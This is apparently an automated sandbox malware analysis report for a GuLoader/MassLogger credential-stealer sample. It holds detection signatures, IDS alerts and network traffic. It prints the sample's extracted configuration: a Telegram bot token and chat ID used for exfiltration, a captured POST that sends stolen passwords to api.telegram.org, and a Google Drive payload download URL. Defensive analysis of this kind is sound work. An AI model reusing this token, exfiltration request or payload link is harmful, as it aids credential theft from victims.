Edit tour

Windows Analysis Report
czHx16QwGQ.exe

Overview

General Information

Sample name:	czHx16QwGQ.exe renamed because original name is a hash value
Original sample name:	84b2e764db4bcdad20e5b5455c35a59e9382d29c77ee3ce50940de23691a85a8.exe
Analysis ID:	1588292
MD5:	1a0fe25178e09cf0facc1f7bd6f221a8
SHA1:	51e3ccc0373f62778f0d3ccc79f5f16136f77129
SHA256:	84b2e764db4bcdad20e5b5455c35a59e9382d29c77ee3ce50940de23691a85a8
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

czHx16QwGQ.exe (PID: 1976 cmdline: "C:\Users\user\Desktop\czHx16QwGQ.exe" MD5: 1A0FE25178E09CF0FACC1F7BD6F221A8)

czHx16QwGQ.exe (PID: 5296 cmdline: "C:\Users\user\Desktop\czHx16QwGQ.exe" MD5: 1A0FE25178E09CF0FACC1F7BD6F221A8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2176225336.00000000050E2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: czHx16QwGQ.exe PID: 5296	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: czHx16QwGQ.exe PID: 5296	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: czHx16QwGQ.exe PID: 5296	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:39:01.786657+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49821	149.154.167.220	443	TCP
2025-01-10T23:39:03.820929+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49837	149.154.167.220	443	TCP
2025-01-10T23:39:05.562695+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49848	149.154.167.220	443	TCP
2025-01-10T23:39:07.214329+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49858	149.154.167.220	443	TCP
2025-01-10T23:39:08.866445+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49870	149.154.167.220	443	TCP
2025-01-10T23:39:10.471564+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49882	149.154.167.220	443	TCP
2025-01-10T23:39:12.121448+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49894	149.154.167.220	443	TCP
2025-01-10T23:39:13.759190+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49909	149.154.167.220	443	TCP
2025-01-10T23:39:15.579856+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49920	149.154.167.220	443	TCP
2025-01-10T23:39:17.124804+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49933	149.154.167.220	443	TCP
2025-01-10T23:39:18.724664+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49945	149.154.167.220	443	TCP
2025-01-10T23:39:20.369646+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49959	149.154.167.220	443	TCP
2025-01-10T23:39:21.953870+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49971	149.154.167.220	443	TCP
2025-01-10T23:39:23.463010+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49983	149.154.167.220	443	TCP
2025-01-10T23:39:25.033820+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49995	149.154.167.220	443	TCP
2025-01-10T23:39:26.604848+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50007	149.154.167.220	443	TCP
2025-01-10T23:39:28.114488+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50010	149.154.167.220	443	TCP
2025-01-10T23:39:29.654705+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50012	149.154.167.220	443	TCP
2025-01-10T23:39:31.151584+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50014	149.154.167.220	443	TCP
2025-01-10T23:39:32.720784+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50016	149.154.167.220	443	TCP
2025-01-10T23:39:37.230195+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50018	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:38:53.628248+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49770	193.122.6.168	80	TCP
2025-01-10T23:39:00.831434+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49770	193.122.6.168	80	TCP
2025-01-10T23:39:02.909553+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49831	193.122.6.168	80	TCP
2025-01-10T23:39:04.534573+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49843	193.122.6.168	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:38:48.199385+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49735	216.58.206.46	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:39:01.479700+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49821	149.154.167.220	443	TCP
2025-01-10T23:39:03.511066+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49837	149.154.167.220	443	TCP
2025-01-10T23:39:05.091683+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49848	149.154.167.220	443	TCP
2025-01-10T23:39:06.875951+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49858	149.154.167.220	443	TCP
2025-01-10T23:39:08.463009+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49870	149.154.167.220	443	TCP
2025-01-10T23:39:10.124870+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49882	149.154.167.220	443	TCP
2025-01-10T23:39:11.748841+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49894	149.154.167.220	443	TCP
2025-01-10T23:39:13.393119+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49909	149.154.167.220	443	TCP
2025-01-10T23:39:15.071860+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49920	149.154.167.220	443	TCP
2025-01-10T23:39:16.886597+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49933	149.154.167.220	443	TCP
2025-01-10T23:39:18.401899+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49945	149.154.167.220	443	TCP
2025-01-10T23:39:20.015911+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49959	149.154.167.220	443	TCP
2025-01-10T23:39:21.647836+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49971	149.154.167.220	443	TCP
2025-01-10T23:39:23.224937+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49983	149.154.167.220	443	TCP
2025-01-10T23:39:24.739870+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49995	149.154.167.220	443	TCP
2025-01-10T23:39:26.301176+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50007	149.154.167.220	443	TCP
2025-01-10T23:39:27.882638+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50010	149.154.167.220	443	TCP
2025-01-10T23:39:29.424430+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50012	149.154.167.220	443	TCP
2025-01-10T23:39:30.938589+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50014	149.154.167.220	443	TCP
2025-01-10T23:39:32.440265+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50016	149.154.167.220	443	TCP
2025-01-10T23:39:36.938687+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50018	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd319daa71bf0dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.000000003651F000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000363B3000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000365BD000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036402000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.000000003651F000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000363B3000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000365BD000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036402000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.000000003651F000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000363B3000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000365BD000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036402000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036220000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000361A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: czHx16QwGQ.exe, 00000005.00000002.2747096433.0000000038C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/YQ
Source: czHx16QwGQ.exe, 00000005.00000002.2747096433.0000000038C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/iQ
Source: czHx16QwGQ.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000361A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.000000003651F000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000363B3000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000365BD000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036402000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036402000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382
Source: czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005BD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005BD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/Qwp
Source: czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005C13000.00000004.00000020.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2725534398.00000000076F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1ldZgiMZVF2Jm6I1zMoLRFfBr1vhf_sHj
Source: czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000003.2308354318.0000000005C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000003.2308354318.0000000005C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/B
Source: czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000003.2308354318.0000000005C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1ldZgiMZVF2Jm6I1zMoLRFfBr1vhf_sHj&export=download
Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: czHx16QwGQ.exe, 00000005.00000003.2266612181.0000000005C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945

Source: unknown	HTTPS traffic detected: 216.58.206.46:443 -> 192.168.2.8:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.8:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49821 version: TLS 1.2

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Code function: 0_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,LdrInitializeThunk,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,LdrInitializeThunk,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040558F

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 0_2_004034A5 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,CharNextW,LdrInitializeThunk,GetTempPathW,LdrInitializeThunk,GetTempPathW,GetWindowsDirectoryW,lstrcatW,LdrInitializeThunk,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_004034A5 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,CharNextW,LdrInitializeThunk,GetTempPathW,LdrInitializeThunk,GetTempPathW,GetWindowsDirectoryW,lstrcatW,LdrInitializeThunk,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 0_2_00404DCC	0_2_00404DCC
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 0_2_00406AF2	0_2_00406AF2
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 0_2_73961B5F	0_2_73961B5F
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_00404DCC	5_2_00404DCC
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_00406AF2	5_2_00406AF2
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_00164338	5_2_00164338
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_00168DF8	5_2_00168DF8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_00165978	5_2_00165978
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836603D	5_2_3836603D
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_383603AF	5_2_383603AF
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836CCA0	5_2_3836CCA0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836C638	5_2_3836C638
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836B07F	5_2_3836B07F
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836F05A	5_2_3836F05A
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38367848	5_2_38367848
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836B930	5_2_3836B930
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836C1F2	5_2_3836C1F2
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836DA89	5_2_3836DA89
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836E347	5_2_3836E347
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836EBF7	5_2_3836EBF7
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836CCA2	5_2_3836CCA2
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836B4D8	5_2_3836B4D8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836BDA2	5_2_3836BDA2
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38367628	5_2_38367628
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836DEE1	5_2_3836DEE1
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836E79F	5_2_3836E79F
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F4A9B0	5_2_38F4A9B0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F4BA97	5_2_38F4BA97
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F4A360	5_2_38F4A360
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F4BDF0	5_2_38F4BDF0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F49D10	5_2_38F49D10
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F496C8	5_2_38F496C8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F48650	5_2_38F48650
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F420F8	5_2_38F420F8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F47070	5_2_38F47070
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F47061	5_2_38F47061
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F41858	5_2_38F41858
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F40040	5_2_38F40040
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F44820	5_2_38F44820
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F451F8	5_2_38F451F8
